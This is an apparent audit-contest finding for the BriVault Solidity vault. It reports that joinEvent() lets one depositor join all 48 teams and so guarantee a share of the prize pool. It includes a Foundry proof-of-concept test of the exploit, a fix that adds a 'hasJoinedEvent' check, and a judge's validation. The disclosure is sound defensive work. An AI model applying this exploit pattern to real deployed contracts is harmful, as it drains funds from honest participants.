BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Users Can Join Multiple Teams Leading to Guaranteed Wins.

Description:
The joinEvent() function does not prevent users from calling it multiple times with different countryId values. A malicious user can deposit once and then join all 48 teams, guaranteeing they will be on the winning team and able to withdraw their share of the pool.

The vulnerability exists because:

  1. There is no check to prevent multiple calls to joinEvent()

  2. The userToCountry mapping is overwritten on each call, but userSharesToCountry accumulates shares for each country

  3. The user's address is pushed to usersAddress array multiple times

Impact:

  • Malicious users can guarantee profits by betting on all teams

  • Legitimate users who bet on a single team will receive significantly reduced payouts

  • The entire betting mechanism is compromised as users can hedge all positions

  • Pool distribution becomes unfair and exploitable

Proof of Concept:

function testMultipleTeamJoinExploit() public {
uint256 depositAmount = 10000 * 10**18;
// Attacker deposits
vm.startPrank(attacker);
asset.approve(address(vault), depositAmount);
vault.deposit(depositAmount, attacker);
// Attacker joins ALL 48 teams
for(uint256 i = 0; i < 48; i++) {
vault.joinEvent(i);
}
vm.stopPrank();
// Victim deposits and joins only team 0
vm.startPrank(victim);
asset.approve(address(vault), depositAmount);
vault.deposit(depositAmount, victim);
vault.joinEvent(0);
vm.stopPrank();
// Fast forward past event end
vm.warp(block.timestamp + 31 days);
// Owner sets team 0 as winner
vault.setWinner(0);
// Both attacker and victim can withdraw (attacker joined team 0 among others)
uint256 attackerBalanceBefore = asset.balanceOf(attacker);
uint256 victimBalanceBefore = asset.balanceOf(victim);
vm.prank(attacker);
vault.withdraw();
vm.prank(victim);
vault.withdraw();
uint256 attackerProfit = asset.balanceOf(attacker) - attackerBalanceBefore;
uint256 victimProfit = asset.balanceOf(victim) - victimBalanceBefore;
// Attacker gets a share despite joining all teams
console.log("Attacker profit:", attackerProfit);
console.log("Victim profit:", victimProfit);
// Verify attacker successfully exploited the system
assertTrue(attackerProfit > 0, "Attacker should receive winnings");
}

Mitigation:

Add a mapping to track whether a user has already joined an event and add a check in joinEvent():

+ mapping(address => bool) public hasJoinedEvent;
function joinEvent(uint256 countryId) public {
+ if (hasJoinedEvent[msg.sender]) {
+ revert("Already joined event");
+ }
+ if (stakedAsset[msg.sender] == 0) {
+ revert noDeposit();
+ }
// ... rest of the function
+ hasJoinedEvent[msg.sender] = true;
// ... rest of the function
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!